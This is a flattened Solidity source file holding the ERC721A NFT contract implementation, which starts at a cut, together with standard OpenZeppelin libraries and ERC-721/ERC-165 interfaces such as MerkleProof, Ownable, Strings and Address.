ERC721A is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev See {IERC721Enumerable-totalSupply}. * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { if (owner == address(0)) revert MintedQueryForZeroAddress(); return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { if (owner == address(0)) revert BurnedQueryForZeroAddress(); return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { if (owner == address(0)) revert AuxQueryForZeroAddress(); return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { if (owner == address(0)) revert AuxQueryForZeroAddress(); _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { uint256 curr = tokenId; unchecked { if (_startTokenId() <= curr && curr < _currentIndex) { TokenOwnership memory ownership = _ownerships[curr]; if (!ownership.burned) { if (ownership.addr != address(0)) { return ownership; } // Invariant: // There will always be an ownership that has an address and is not burned // before an ownership that does not have an address and is not burned. // Hence, curr will not underflow. while (true) { curr--; ownership = _ownerships[curr]; if (ownership.addr != address(0)) { return ownership; } } } } } revert OwnerQueryForNonexistentToken(); } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { return _ownershipOf(tokenId).addr; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); string memory baseURI = _baseURI(); return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ''; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { address owner = ERC721A.ownerOf(tokenId); if (to == owner) revert ApprovalToCurrentOwner(); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) { revert ApprovalCallerNotOwnerNorApproved(); } _approve(to, tokenId, owner); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken(); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { if (operator == _msgSender()) revert ApproveToCaller(); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ''); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { _transfer(from, to, tokenId); if (to.isContract() && !_checkContractOnERC721Received(from, to, tokenId, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { return _startTokenId() <= tokenId && tokenId < _currentIndex && !_ownerships[tokenId].burned; } function _safeMint(address to, uint256 quantity) internal { _safeMint(to, quantity, ''); } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { _mint(to, quantity, _data, true); } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { uint256 startTokenId = _currentIndex; if (to == address(0)) revert MintToZeroAddress(); if (quantity == 0) revert MintZeroQuantity(); _beforeTokenTransfers(address(0), to, startTokenId, quantity); // Overflows are incredibly unrealistic. // balance or numberMinted overflow if current value of either + quantity > 1.8e19 (2**64) - 1 // updatedIndex overflows if _currentIndex + quantity > 1.2e77 (2**256) - 1 unchecked { _addressData[to].balance += uint64(quantity); _addressData[to].numberMinted += uint64(quantity); _ownerships[startTokenId].addr = to; _ownerships[startTokenId].startTimestamp = uint64(block.timestamp); uint256 updatedIndex = startTokenId; uint256 end = updatedIndex + quantity; if (safe && to.isContract()) { do { emit Transfer(address(0), to, updatedIndex); if (!_checkContractOnERC721Received(address(0), to, updatedIndex++, _data)) { revert TransferToNonERC721ReceiverImplementer(); } } while (updatedIndex != end); // Reentrancy protection if (_currentIndex != startTokenId) revert(); } else { do { emit Transfer(address(0), to, updatedIndex++); } while (updatedIndex != end); } _currentIndex = updatedIndex; } _afterTokenTransfers(address(0), to, startTokenId, quantity); } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr || isApprovedForAll(prevOwnership.addr, _msgSender()) || getApproved(tokenId) == _msgSender()); if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved(); if (prevOwnership.addr != from) revert TransferFromIncorrectOwner(); if (to == address(0)) revert TransferToZeroAddress(); _beforeTokenTransfers(from, to, tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[from].balance -= 1; _addressData[to].balance += 1; _ownerships[tokenId].addr = to; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); // If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(from, to, tokenId); _afterTokenTransfers(from, to, tokenId, 1); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { TokenOwnership memory prevOwnership = _ownershipOf(tokenId); _beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Clear approvals from the previous owner _approve(address(0), tokenId, prevOwnership.addr); // Underflow of the sender's balance is impossible because we check for // ownership above and the recipient's balance can't realistically overflow. // Counter overflow is incredibly unrealistic as tokenId would have to be 2**256. unchecked { _addressData[prevOwnership.addr].balance -= 1; _addressData[prevOwnership.addr].numberBurned += 1; // Keep track of who burned the token, and the timestamp of burning. _ownerships[tokenId].addr = prevOwnership.addr; _ownerships[tokenId].startTimestamp = uint64(block.timestamp); _ownerships[tokenId].burned = true; // If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it. // Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls. uint256 nextTokenId = tokenId + 1; if (_ownerships[nextTokenId].addr == address(0)) { // This will suffice for checking _exists(nextTokenId), // as a burned slot cannot contain the zero address. if (nextTokenId < _currentIndex) { _ownerships[nextTokenId].addr = prevOwnership.addr; _ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp; } } } emit Transfer(prevOwnership.addr, address(0), tokenId); _afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1); // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times. unchecked { _burnCounter++; } } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { _tokenApprovals[tokenId] = to; emit Approval(owner, to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkContractOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert TransferToNonERC721ReceiverImplementer(); } else { assembly { revert(add(32, reason), mload(reason)) } } } } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * And also called before burning one token. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, `tokenId` will be burned by `from`. * - `from` and `to` are never both zero. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * And also called after one token has been burned. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been * transferred to `to`. * - When `from` is zero, `tokenId` has been minted for `to`. * - When `to` is zero, `tokenId` has been burned by `from`. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol) pragma solidity ^0.8.0; /** * @dev These functions deal with verification of Merkle Trees proofs. * * The proofs can be generated using the JavaScript library * https://github.com/miguelmota/merkletreejs[merkletreejs]. * Note: the hashing algorithm should be keccak256 and pair sorting should be enabled. * * See `test/utils/cryptography/MerkleProof.test.js` for some examples. */ library MerkleProof { /** * @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree * defined by `root`. For this, a `proof` must be provided, containing * sibling hashes on the branch from the leaf to the root of the tree. Each * pair of leaves and each pair of pre-images are assumed to be sorted. */ function verify( bytes32[] memory proof, bytes32 root, bytes32 leaf ) internal pure returns (bool) { return processProof(proof, leaf) == root; } /** * @dev Returns the rebuilt hash obtained by traversing a Merklee tree up * from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt * hash matches the root of the tree. When processing the proof, the pairs * of leafs & pre-images are assumed to be sorted. * * _Available since v4.4._ */ function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) { bytes32 computedHash = leaf; for (uint256 i = 0; i < proof.length; i++) { bytes32 proofElement = proof[i]; if (computedHash <= proofElement) { // Hash(current computed hash + current element of the proof) computedHash = _efficientHash(computedHash, proofElement); } else { // Hash(current element of the proof + current computed hash) computedHash = _efficientHash(proofElement, computedHash); } } return computedHash; } function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) { assembly { mstore(0x00, a) mstore(0x20, b) value := keccak256(0x00, 0x40) } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
